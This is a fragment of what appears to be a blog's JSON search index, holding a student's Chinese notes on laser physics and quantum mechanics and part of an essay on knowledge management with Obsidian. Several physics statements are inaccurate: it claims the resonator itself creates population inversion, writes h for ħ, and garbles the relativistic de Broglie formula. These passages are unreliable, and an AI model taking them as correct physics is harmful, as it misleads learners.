title=\"一、受激吸收、自发辐射和受激辐射\"\u003e\u003c/a\u003e一、受激吸收、自发辐射和受激辐射\u003c/h2\u003e\u003cp\u003e普通光源:自发发光;区别于激光源的受激发光。\u003c/p\u003e\u003cp\u003e按照原子的量子理论,光和原子的相互作用能引起下面三种跃迁过程。\u003c/p\u003e\u003col\u003e\u003cli\u003e受激吸收\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e设原子位于$E_1$低能级,且存在高能级$E_2$。当入射光子能量为$hv=E_2-E_1$时,原子就有可能吸收光子并跃迁到$E_2$。这也称为\u003cstrong\u003e原子的光激发\u003c/strong\u003e。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e自发辐射\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e激发态原子状态不稳定,无外界作用下,其会自发跃迁到低能级,同时放出一个光子。这光子的能量为$hv=E_2-E_1$。普通光源的发光就属于\u003cstrong\u003e自发辐射\u003c/strong\u003e。由于发光物质中各个原子自发独立进行辐射,因此光子的\u003cstrong\u003e相位、偏振态、传播方向均无固定关系\u003c/strong\u003e。对大量原子而言,即使都是从$E_2$跃迁到$E_1$,发出的同频率的光也是\u003cstrong\u003e不相干\u003c/strong\u003e的。\u003c/p\u003e\u003cp\u003e![[img/Pasted image 20221215113330.png]]\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e受激辐射\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e爱因斯坦发现,辐射场和原子交换能量时,只靠自发辐射和吸收不能达到热平衡,因此还必须存在受激辐射。\u003c/p\u003e\u003cp\u003e位于高能态$E_2$的原子在自发辐射以前,如果受到能量为$hv=E_2-E_1$的外来光子诱发作用,就有可能从$E_2$跃迁到$E_1$,同时发射一个与外来光子\u003cstrong\u003e频率、相位、偏振态和传播方向都相同的光子\u003c/strong\u003e。也就是说,一个光子能引发两个状态完全相同的光子。若由它们继续向下引发,则能的带大量特征相同的光子,即\u003cstrong\u003e光放大\u003c/strong\u003e的实现。这样产生的光为相干光。\u003c/p\u003e\u003cp\u003e![[img/Pasted image 20221215113710.png]]\u003c/p\u003e\u003ch2 id=\"二、产生激光的基本条件\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/#%E4%BA%8C%E3%80%81%E4%BA%A7%E7%94%9F%E6%BF%80%E5%85%89%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%9D%A1%E4%BB%B6\" class=\"headerlink\" title=\"二、产生激光的基本条件\"\u003e\u003c/a\u003e二、产生激光的基本条件\u003c/h2\u003e\u003ch3 id=\"1-粒子数反转\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/#1-%E7%B2%92%E5%AD%90%E6%95%B0%E5%8F%8D%E8%BD%AC\" class=\"headerlink\" title=\"1.粒子数反转\"\u003e\u003c/a\u003e1.粒子数反转\u003c/h3\u003e\u003cp\u003e光和原子系统相互作用时,总是存在上述三种过程。而受激吸收和受激辐射是两种矛盾的过程:前者减少光子数,后者增加光子数。\u003c/p\u003e\u003ch3 id=\"2-光学谐振腔\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/#2-%E5%85%89%E5%AD%A6%E8%B0%90%E6%8C%AF%E8%85%94\" class=\"headerlink\" title=\"2.光学谐振腔\"\u003e\u003c/a\u003e2.光学谐振腔\u003c/h3\u003e\u003cp\u003e为了实现粒子数反转,需要在工作物质周围构造一个光学谐振腔。光学谐振腔是由两个反射镜和工作物质构成的,其中一个反射镜是半透明的,可以让一部分光子透过,另一部分光子被反射回来。当工作物质被激发时,它会发出光子,这些光子在谐振腔内来回反射,与工作物质不断相互作用,从而增强光子的能量和数量。当光子数达到一定程度时,就会出现粒子数反转,从而产生激光。光学谐振腔的长度和反射镜的反射率等参数决定了激光的波长和输出功率等特性。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/"},{"title":"量子力学笔记","time":"2022-12-15T02:32:37Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"黑体辐射\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E9%BB%91%E4%BD%93%E8%BE%90%E5%B0%84\" class=\"headerlink\" title=\"黑体辐射\"\u003e\u003c/a\u003e黑体辐射\u003c/h2\u003e\u003cp\u003e黑体是能量吸收率100%的物体。黑体辐射就是黑体在温度$T$时发射的辐射。它的总辐射能和温度的四次方成正比,而单色辐出度的峰值和温度成反比。\u003c/p\u003e\u003ch2 id=\"光电效应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E5%85%89%E7%94%B5%E6%95%88%E5%BA%94\" class=\"headerlink\" title=\"光电效应\"\u003e\u003c/a\u003e光电效应\u003c/h2\u003e\u003cp\u003e金属受波长$\\lambda$的光照射,会发出电子,其初动能只与金属遏止频率和光照频率有关,在加速电压作用下,会遏止(电压等于初动能)或者达到饱和(所有电子都被加速到阴极)\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\frac{1}{2}mv_m^2=eU_\\text{遏止}\u003cbr/\u003e$$\u003c/p\u003e\u003ch3 id=\"光量子假说\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E5%85%89%E9%87%8F%E5%AD%90%E5%81%87%E8%AF%B4\" class=\"headerlink\" title=\"光量子假说\"\u003e\u003c/a\u003e光量子假说\u003c/h3\u003e\u003cp\u003e$$\u003cbr/\u003eh\\nu=\\frac{1}{2}mv_m^2+A\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e就是光子能量$\\epsilon=h\\nu$等于光子最大初动能+逸出功。光子能量大于逸出功就开始逸出,多余的能量就是最大初动能。刚好逸出时,有$\\nu_0=\\frac{A}{h}$。这就是遏止频率。\u003c/p\u003e\u003ch3 id=\"波粒二象性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E6%B3%A2%E7%B2%92%E4%BA%8C%E8%B1%A1%E6%80%A7\" class=\"headerlink\" title=\"波粒二象性\"\u003e\u003c/a\u003e波粒二象性\u003c/h3\u003e\u003cp\u003e动质量: $m_\\phi=\\frac{\\epsilon}{c^2}=\\frac{h\\nu}{c^2}$,由相对论得出。静质量为0\u003cbr/\u003e动量: $p=m_\\phi c=\\frac{h\\nu}{c}=\\frac{h}{\\lambda}$\u003c/p\u003e\u003ch2 id=\"康普顿效应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E5%BA%B7%E6%99%AE%E9%A1%BF%E6%95%88%E5%BA%94\" class=\"headerlink\" title=\"康普顿效应\"\u003e\u003c/a\u003e康普顿效应\u003c/h2\u003e\u003cp\u003e一束X射线经过石墨散射后,有的直着过去了,有的偏转了点角度,还有的被弹回去了。角度改变的粒子大多能量都变低了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e波长偏移角$\\Delta \\lambda = \\lambda-\\lambda_0$随着散射角$\\phi$(散射线与入射线的夹角)的增大而增大,且入射角越大,偏移的越多,没偏移的粒子数越少\u003c/li\u003e\u003cli\u003e上面的多少变化随着原子序数的增加变得越来越不明显,即,原子序数大的粒子,所有粒子的偏移角虽然没变,但是偏移的粒子数目越来越少。\u003c/li\u003e\u003cli\u003e$\\Delta\\lambda=\\lambda-\\lambda_0=\\frac{h}{m_0c}(1-cos\\phi)=2\\lambda_csin^2\\frac{\\phi}{2}$\u003c/li\u003e\u003cli\u003e上面的$\\lambda_c$是康普顿波长,和原子无关\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"玻尔的氢原子理论\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%8E%BB%E5%B0%94%E7%9A%84%E6%B0%A2%E5%8E%9F%E5%AD%90%E7%90%86%E8%AE%BA\" class=\"headerlink\" title=\"玻尔的氢原子理论\"\u003e\u003c/a\u003e玻尔的氢原子理论\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e巴尔默系:$\\frac{1}{\\lambda}=\\frac{4}{B}(\\frac{1}{2^2}-\\frac{1}{n^2})$\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eB是常量,它表示氢原子光谱中各谱线的波长。把B和2换成其他数就能得到光谱的其他线系。\u003c/p\u003e\u003ch2 id=\"德布罗意波\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E5%BE%B7%E5%B8%83%E7%BD%97%E6%84%8F%E6%B3%A2\" class=\"headerlink\" title=\"德布罗意波\"\u003e\u003c/a\u003e德布罗意波\u003c/h2\u003e\u003cp\u003e质量$m$的粒子以速度$v$运动时,具有能量$E$和动量$p$,也具有波长$\\lambda$和频率$\\nu$,它们遵从:\u003c/p\u003e\u003cp\u003e$E=mc^2=h\\nu$\u003c/p\u003e\u003cp\u003e$p=mv=\\frac{h}{\\lambda}$\u003c/p\u003e\u003cp\u003e故有静质量粒子的平面单色波(物质波)波长是:\u003c/p\u003e\u003cp\u003e$$\\lambda=\\frac{h}{p}=\\frac{h}{m_0v}=\\frac{h}{m_0v}\\sqrt{1-(\\frac{v}{c})^2}$$\u003c/p\u003e\u003cp\u003e对于电子轨道,只有物质波满足驻波条件,才能在轨道稳定传播:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e2\\pi r=n\\lambda, n=1,2,3,\\cdots\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e代入$\\lambda=\\frac{h}{mv}$,得\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003emvr=n\\frac{h}{2\\pi},n=1,2,3,\\cdots\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e即轨道角动量量子化条件。将康普顿实验的X光换为粒子来测量微观粒子波长后,证实了德布罗意的猜想,电子的波动性。\u003c/p\u003e\u003ch2 id=\"不确定性原理\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E4%B8%8D%E7%A1%AE%E5%AE%9A%E6%80%A7%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"不确定性原理\"\u003e\u003c/a\u003e不确定性原理\u003c/h2\u003e\u003cp\u003e物质不是单色平面波,所以动量不确定。而微观粒子位置也有不确定度。这俩满足\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\Delta x\\Delta p_x\\geq\\frac{h}{2}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e对其他三个坐标一样。还有一个不确定性原理:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\Delta E\\Delta t\\geq \\frac{h}{2}\u003cbr/\u003e$$\u003c/p\u003e\u003ch2 id=\"波函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E6%B3%A2%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"波函数\"\u003e\u003c/a\u003e波函数\u003c/h2\u003e\u003cp\u003e因为上述的不确定性原理,需要用波函数描述微观粒子运动状态。\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ey(x,t)=y_0cos2\\pi(\\nu t-\\frac{x}{\\lambda})\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e代入物质波规律,得到:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(x,t)=f_0e^{-i\\frac{2\\pi}{h}(Et-px)}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e这就是能量为$E$,动能$p$,沿$x$方向运动的物质波的波函数。在空间某地点,粒子出现的概率正比于当前状态波函数的平方。\u003c/p\u003e\u003cp\u003e某状态粒子出现概率正比于波函数和它共轭复数的乘积。归一化条件:$\\int_V|f|^2dV=1$。波函数是单值、有限、连续(包括其一阶导)而且是归一化的函数。\u003c/p\u003e\u003ch2 id=\"薛定谔方程\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E8%96%9B%E5%AE%9A%E8%B0%94%E6%96%B9%E7%A8%8B\" class=\"headerlink\" title=\"薛定谔方程\"\u003e\u003c/a\u003e薛定谔方程\u003c/h2\u003e\u003cp\u003e$$\u003cbr/\u003e-\\frac{h^2}{2m}\\frac{\\delta^2y}{\\delta x^2}=ih\\frac{\\delta y}{\\delta t}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e在势场中,有\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e-\\frac{h^2}{2m}\\frac{\\delta^2y}{\\delta x^2}+U(x,t)y=ih\\frac{\\delta y}{\\delta t}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e能量公式:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eE=\\frac{n^2\\pi^2h^2}{2ma^2}=E_n,=1,2,3,\\cdots\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e概率密度:\u003c/p\u003e\u003cp\u003e$$|y_n(x)|^2=\\frac{2}{a}sin^2\\frac{n\\pi}{a}x,n=1,2,3,\\cdots$$\u003c/p\u003e\u003cp\u003e对$x$求导一次,求它的零点,得概率最大位置$x=(2N+1)\\frac{a}{2n}$\u003c/p\u003e\u003ch2 id=\"角动量空间量子化\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E8%A7%92%E5%8A%A8%E9%87%8F%E7%A9%BA%E9%97%B4%E9%87%8F%E5%AD%90%E5%8C%96\" class=\"headerlink\" title=\"角动量空间量子化\"\u003e\u003c/a\u003e角动量空间量子化\u003c/h2\u003e\u003cp\u003e电子绕核运动的$L$的取向量子化。其中,$L$表示角动量。它在外磁场方向$Z$的投影为\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eL_z=m_lh\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e磁量子数:$m_l=0,\\pm 1, \\pm 2, \\cdots , \\pm l$。即,$m_l$取值受$l$限制。\u003c/p\u003e\u003cp\u003e对同一个$l$,角动量方向有$2l+1$个可能的取值,合大小不变。\u003c/p\u003e\u003cp\u003e例如,$l=2$时,电子角动量大小为$L=\\sqrt{2(2+1)}h=\\sqrt{6}h$,空间取向$L_z=2h,h,0,-h,-2h$。\u003c/p\u003e\u003cp\u003e![[img/Pasted image 20221215104108.png]]\u003c/p\u003e\u003ch3 id=\"四个量子数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E5%9B%9B%E4%B8%AA%E9%87%8F%E5%AD%90%E6%95%B0\" class=\"headerlink\" title=\"四个量子数\"\u003e\u003c/a\u003e四个量子数\u003c/h3\u003e\u003cp\u003e在量子力学中,每个电子的状态都由四个量子数描述。这些量子数分别是:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e主量子数($n$):主量子数表示电子所处的能级。它的取值为正整数(1、2、3……),并决定了电子的能量大小。主量子数越大,能量越高,电子所处的轨道也越远离原子核。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e角量子数($l$):角量子数决定电子轨道的形状。它的取值为 0 到 n-1 的非负整数,表示电子在该能级中的角动量大小。不同的角量子数对应不同的轨道形状,如 l=0 对应 s 轨道,l=1 对应 p 轨道,l=2 对应 d 轨道,以此类推。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e磁量子数($m_l$):磁量子数描述电子在轨道上的位置。它的取值为 -l 到 l 的整数,共有 2l+1 种可能性。不同的磁量子数对应不同的轨道空间取向,例如对于 l=1 的 p 轨道,m 取值为 -1、0、1,分别对应着三个不同的空间方向。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e自旋量子数($m_s$):自旋量子数描述电子的自旋性质。它的取值为 +1/2 或 -1/2,表示电子自身的自旋方向。自旋量子数是一个纯粹的量子现象,与经典物理中的旋转概念并不相同。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e例如,氢原子中处于$3d$量子态的电子,其量子态的四个量子数$(n,l,m_l,m_s)$可能取的值为$(3,2,-2\\to2,\\pm \\frac{1}{2})$\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/"},{"title":"我的知识库管理折腾记录","time":"2022-12-12T17:53:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e当我开始在记事本里写下第一条笔记时,就注定一定会在知识管理的路上渐行渐远。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e从笔记到知识管理,这中间并无太大距离。只要构建一个合理的流程,付出一点精力,换来的是一个能让我们终生受益的个人知识系统:也可以称之为“第二大脑”。\u003c/p\u003e\u003ch2 id=\"0x01-必要性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#0x01-%E5%BF%85%E8%A6%81%E6%80%A7\" class=\"headerlink\" title=\"0x01.必要性\"\u003e\u003c/a\u003e0x01.必要性\u003c/h2\u003e\u003cp\u003e从手机备忘录开始,我开始了最简单的信息记录。其目的一般有以下几个:\u003c/p\u003e\u003col\u003e\u003cli\u003e常用信息,比如账号密码,常用资源这些,使用频率高\u003c/li\u003e\u003cli\u003e待办清单。日程安排,时间规划时偶尔会用到\u003c/li\u003e\u003cli\u003e记录收集/摘录的信息。通常是专业知识,技能技巧,文学摘录等,其相对而言较为零散\u003c/li\u003e\u003cli\u003e\u003cdel\u003e深夜发癫\u003c/del\u003e写写随笔,感想总结之类。写这类东西的目的主要还是梳理为主。书写的速度相对较慢,可以给思维留下充足的余裕去周转\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e其中,1,2是会短期用到/动态更新,实效性相对较短。在完成任务后,它们一般会被直接删除;而4作为思考整理的副产物,一般不太可能直接用上,只有偶尔自我审视的时候才有用。所以,这其中真正需要进行管理的,只有3。因为3是专业性较强的信息,它们是作为知识被记录的。相反,\u003cstrong\u003e1,2,4那样的信息,充其量只能作为一种提醒\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e而3为何要进行管理?因为3是知识。知识只有归于体系,归于思维逻辑才能内化为能力。零散的知识条目只是记忆,它们只能扩大我们的认知范围,于我们的思维并无裨益。相反,\u003cstrong\u003e过多的信息只会冲刷我们的心智,让其难以集中下来思考\u003c/strong\u003e。所以,思维的时间应该和学习的时间相平衡,所谓\u003cstrong\u003e学而不思则罔,思而不学则殆\u003c/strong\u003e。如今,在信息洪流面前,很少有人能独善其身,大多数人都被大量信息冲刷,逐渐对一切都变得麻木起来。而进行个人知识管理(Personal Knowledge Management,PKM)或许就是应对信息洪流的一个方式。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e总结:作为一种思维/思维辅助手段,KPM对于现代生活中的人们而言是十分有必要的。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"0x02-入门\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#0x02-%E5%85%A5%E9%97%A8\" class=\"headerlink\" title=\"0x02.入门\"\u003e\u003c/a\u003e0x02.入门\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e个人知识管理(Personal KnowledgeManagement)是一种新的知识管理的理念和方法,能将个人拥有的各种资料、随手可得的信息变成更具价值的知识,最终利于自己的工作、生活。通过对个人知识的管理,人们可以养成良好的学习习惯,增强信息素养,完善自己的专业知识体系,提高自己的能力和竞争力,为实现个人价值和可持续发展打下坚实基础。\u003c/p\u003e\u003cp\u003e\u003cem\u003e摘自\u003ca href=\"https://wiki.mbalib.com/wiki/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E7%AE%A1%E7%90%86\"\u003eMBA智库\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e个人知识管理可以分为两方面,\u003cstrong\u003e信息网络\u003c/strong\u003e和\u003cstrong\u003e知识系统\u003c/strong\u003e。通俗的说,就是知识的来源和知识本身。\u003c/p\u003e\u003ch3 id=\"信息网络架构\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E4%BF%A1%E6%81%AF%E7%BD%91%E7%BB%9C%E6%9E%B6%E6%9E%84\" class=\"headerlink\" title=\"信息网络架构\"\u003e\u003c/a\u003e信息网络架构\u003c/h3\u003e\u003cp\u003e获取大量信息是个人知识管理的基础。信息网络是影响知识产出品质的第一影响力,它决定了信息收集能力,数据多少和品质好坏。这一般至少包含三个方面的信息网络:\u003cstrong\u003e人际网络,媒体网络和互联网\u003c/strong\u003e。\u003c/p\u003e\u003col\u003e\u003cli\u003e人际网络。面对面交流往往是获取最直接、最深入问题的信息的来源。提高所谓交际圈的质量,我们就有机会学到更多知识。\u003c/li\u003e\u003cli\u003e媒体网络。这种信息具有较强的实效性,其媒介可能是报刊杂志,网络新闻。在自己关注的领域,可以通过订阅一些权威媒体,并对其进行分类和鉴别,来让信息的收集成为系统性的行为,而非随机的、临时性的行为,更不要被算法构造出的信息茧房一叶障目。这方面,可以考虑借助[[RSS]]来形成自己的信息获取渠道。\u003c/li\u003e\u003cli\u003e互联网。首先要明确,APP不是互联网,它们是互联网世界的孤岛。我们应该熟悉搜索引擎的使用,知晓相关资源之所在。充分利用收藏夹来保存有用的信息吧!\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e这就是所谓的[[三维信息网络架构]]。\u003c/p\u003e\u003ch3 id=\"个人知识系统架构\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84\" class=\"headerlink\" title=\"个人知识系统架构\"\u003e\u003c/a\u003e个人知识系统架构\u003c/h3\u003e\u003cp\u003e有了信息来源之后,就能着手进行管理了。这里的管理,简单来说,我们需要把收集到的知识存储到一定架构的知识库中。这种有效储存有助于未来的快速存取。\u003c/p\u003e\u003col\u003e\u003cli\u003e对知识分类。这一点应该根据自身需求来确定。划分的原则应该遵循“我需要什么信息,如何最快地找到它”来操作。这可以参考图书馆文献分类方法,不过也无需深究分类学,在实践中摸索出最佳方法即可。从个人角度讲,一般有\u003cstrong\u003e人际资源,通讯管理,时间管理,网络资源管理,文件档案管理\u003c/strong\u003e等。\u003c/li\u003e\u003cli\u003e选择合适的知识管理工具。对于上面那几类信息,可以一个软件管理所有信息,也可以不同软件管理不同信息。比如邮件管理,通讯录管理。知识部分,我们可以采用Wiki和博客(BLOG)来管理,也可以用笔记软件来管理。我先放个Obsidian在这,后面讲(\u003c/li\u003e\u003cli\u003e创建知识库。可以以目录的方式进行管理,一个临时目录来放置刚收集还未整理的信息,一个目录放置结构化的,成体系的知识目录,一个目录放置归档文件。建立完成后,重要的就是能够快速访问了,这可以借助博客来完成。同时要让笔记继续“生长”:\u003cstrong\u003e持续维护知识库,增加新资源,更新/合并/删除旧资源,完善知识结构\u003c/strong\u003e。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e应用知识\u003c/strong\u003e。这是至关重要的一点,知识管理的出发点就是解决更多问题,积累就是为了应用,而这又会创造新的知识。传统的归纳演绎有助于这一点,我们可以从体系中归纳出新的规律,再借助实践来验证这规律。也可以对知识演绎,帮助新的实践。这也可以融合进我们日常学习生活中:发现问题,寻找资料,获取知识,归纳演绎,验证结论并尝试解决问题。这种学习能力在如今无比重要。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e上面那一大堆都是我看其他博文的笔记。大概总结一下,几个关键点如下:\u003c/p\u003e\u003col\u003e\u003cli\u003e建立并维护自己的信息渠道\u003c/li\u003e\u003cli\u003e组织自己的知识架构模式\u003c/li\u003e\u003cli\u003e整理,回顾并更新已有知识\u003c/li\u003e\u003cli\u003e应用知识,从而得到新知识/增强掌握\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e这其中,我会在本篇重点讨论2。\u003c/p\u003e\u003ch2 id=\"0x03-知识体系架构\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#0x03-%E7%9F%A5%E8%AF%86%E4%BD%93%E7%B3%BB%E6%9E%B6%E6%9E%84\" class=\"headerlink\" title=\"0x03.知识体系架构\"\u003e\u003c/a\u003e0x03.知识体系架构\u003c/h2\u003e\u003cp\u003e在学校中,每门课程的学习都是按照一定架构完成的。正因如此,回忆时才能历久弥新。借助[[Obsidian使用笔记|Obsidian-黑曜石]],我们可以达到这一点。\u003c/p\u003e\u003cp\u003e我之所以选择它,主要是数据安全:数据纯本地存储,不依赖云服务,能防止不必要的损失。毕竟,中国互联网厂商头顶始终悬着内容审查这一达摩克利斯之剑(这学期马原PPT好几个都下不下来就离谱)。而且数据以[[Markdown语法练习|MarkDown]]格式存储在本地,这使得知识库不会被特定软件捆绑。\u003c/p\u003e\u003cp\u003e同时,最重要的一点是这个玩意:\u003ccode\u003e[[]]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e这是双向链接,能把两篇笔记关键起来,形成一个边。在写一篇笔记的时候,可以借助它把关联的笔记全部标出来。这样就能形成一个网状/树状结构的知识库,能很高效的管理笔记。\u003c/p\u003e\u003cp\u003e关于Obsidian的基本使用,可以看这篇:\u003ca href=\"https://sspai.com/post/63481\"\u003e玩转 Obsidian 02:基础设置篇 - 少数派 (sspai.com)\u003c/a\u003e。下面只会涉及较为核心的部分。\u003c/p\u003e\u003cp\u003e以下的超链接使用部分摘自上面的文章。\u003c/p\u003e\u003ch3 id=\"超链接使用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E8%B6%85%E9%93%BE%E6%8E%A5%E4%BD%BF%E7%94%A8\" class=\"headerlink\" title=\"超链接使用\"\u003e\u003c/a\u003e超链接使用\u003c/h3\u003e\u003cp\u003eObsidian 支持多种「超链接语法」,这些功能也是「现代笔记管理」的必备技能。几种常见的语法如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e双向链接:\u003ccode\u003e[[Note Name]]\u003c/code\u003e\u003c/li\u003e\u003cli\u003e话题引用:\u003ccode\u003e[[Note Name #header]]\u003c/code\u003e\u003c/li\u003e\u003cli\u003e别名引用:\u003ccode\u003e[[Note Name |Alias]]\u003c/code\u003e\u003c/li\u003e\u003cli\u003e嵌入引用:\u003ccode\u003e![[Note 